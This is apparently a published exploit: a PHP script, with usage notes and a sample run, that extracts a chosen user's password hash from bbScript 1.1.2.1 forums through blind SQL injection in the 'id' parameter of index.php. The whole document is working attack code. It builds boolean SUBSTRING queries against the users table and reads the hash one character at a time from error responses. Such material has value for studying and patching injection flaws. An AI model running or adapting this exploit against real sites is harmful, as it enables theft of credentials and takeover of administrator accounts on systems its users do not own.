bbScript 1.1.2.1 - 'id' Blind SQL Injection

<?php

/*

bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit
Bug found && exploited by cOndemned
Greetz: All friends, TWT, SecurityReason Team, Scruell ;*

Download: http://www.bbscript.com/download.php 
Note: You have to be logged into in order to download this script


/[bbScript_path]/index.php?action=showtopic&id=1+and+1=1--	TRUE	(normal)
/[bbScript_path]/index.php?action=showtopic&id=1+and+1=2--	FALSE	(error)


example:

condemned@agonia:~$ php bbscript-poc.php http://localhost/audits/bbScript admin

[~] bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit
[~] Bug found && exploited by cOndemned
[~] Target username set to admin
[~] Password Hash : 596a96cc7bf9108cd896f33c44aedc8a
[~] Done

*/

	
function concat($string)
{
	$length = strlen($string);
	$output = '';

	for($i = 0; $i < $length; $i++) $output .= sprintf("CHAR(%d),", ord($string[$i]));

	return 'CONCAT(' . substr($output, 0, -1) . ')';
}

echo "\n[~] bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit";
echo "\n[~] Bug found && exploited by cOndemned\n";

if($argc != 3)
{
	printf("[!] Usage: php %s <target> <login>\n\n", $argv[0]);
	exit;
}

list(, $target, $login) = $argv;

echo "[~] Target username set to $login\n";
	
$login = concat($login);
$chars = array_merge((array)$chars, range(48, 57), range(97, 102));
$pos   = 1;

echo "[~] Password Hash : ";

while($pos != 33)
{
	for($i = 0; $i <= 16; $i++)
	{
		$query  = "/index.php?action=showtopic&id=1+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username=$login),$pos,1)=CHAR({$chars[$i]})--";

		if(!preg_match('#Error#', file_get_contents($target . $query), $resp))
		{
			printf("%s", chr($chars[$i]));
			$pos++;
			break;
		}
	}
}

echo "\n[~] Done\n\n";

?>